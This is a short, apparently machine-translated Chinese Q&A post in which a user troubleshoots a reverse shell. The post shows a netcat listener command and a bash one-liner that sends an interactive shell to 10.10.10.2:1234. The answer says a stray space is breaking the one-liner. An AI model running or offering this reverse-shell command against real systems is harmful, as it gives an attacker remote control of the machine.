我正在尝试使用 bash oneliner 和 netcat 监听器创建一个“反向 shell”。这种组合几天前工作得很好,但现在它只在连接时出现错误。有谁知道该错误意味着什么以及如何排除故障或修复它?
网络猫监听器
netcat -lvnp 1234
重击脚本:
bash -i >& /dev/tcp/10.10.10.2/1234 0>&1
错误(运行 bash 脚本时)
bash: cannot set terminal process group (21268): Inappropriate ioctl for device
bash: no job control in this shell
bash: 0: No such file or directory
不确定这是否是解决此问题的正确 stackexchange,请随意移动
答案1
在您的帖子中,您的 bash 脚本是这样的:
bash -i >& /dev/tcp/10.10.10.2/1234 0>&1
我想你的电脑上实际上是这样的:
bash -i >& /dev/tcp/10.10.10.2/1234 0 >&1
注意零后面的空格。找到它并将其删除,然后它应该可以再次工作。我无法说出它是如何到达那里的。